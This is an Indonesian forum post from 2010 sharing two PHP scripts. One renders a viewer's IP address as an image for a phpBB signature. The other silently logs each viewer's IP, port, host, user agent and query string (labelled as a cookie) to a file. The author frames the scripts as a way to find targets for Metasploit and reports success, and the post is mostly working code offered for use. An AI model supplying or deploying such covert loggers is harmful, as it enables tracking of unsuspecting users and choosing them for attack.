IP Address Harvesting Lewat Signature (PHPBB)
Posted: Wed Mar 10, 2010 8:21 pm
awalnya iseng bikin IP visitor tapi kujadiin image biar bisa dipasang di signature forum Xcode tercinta..
ternyata bisa tampil dengan sempurna dengan code :
trus pas lagi iseng nyari mangsa buat metasploit tau2 dapet ide buat IP Logger di Forum..
aku sisipin code buat log IP :
habis itu aku cek di log ternyata BERHASIL.. :kaca: :kaca:
sekian.. semoga bermanfaat.. :maaf: :maaf: :maaf:
ternyata bisa tampil dengan sempurna dengan code :
Code: Select all
<?php
$sh4d = ' sh4dhckr said your IP is '.$_SERVER['REMOTE_ADDR'].' ';
$i = imagecreate(strlen($sh4d)*8,15);
$b = imagecolorallocate($i,0,0,0);
$t = imagecolorallocate($i,0,255,0);
imagestring($i,4,2,0,$sh4d,$t);
header('Content-type: image/gif');
imagegif($i);
imagedestroy($i);
?>
aku sisipin code buat log IP :
Code: Select all
<?
$log="log.txt";
$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_SERVER['QUERY_STRING'];
$rem_host = $_SERVER['REMOTE_HOST'];
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$file = fopen($log,'a+');
echo fwrite($file, "IP: $ip \nPORT: $rem_port \nHOST: $rem_host \nAgent: $user_agent \nMETHOD: $rqst_method \nCOOKIE: $cookie \n\n");
fclose($file);
?>
sekian.. semoga bermanfaat.. :maaf: :maaf: :maaf: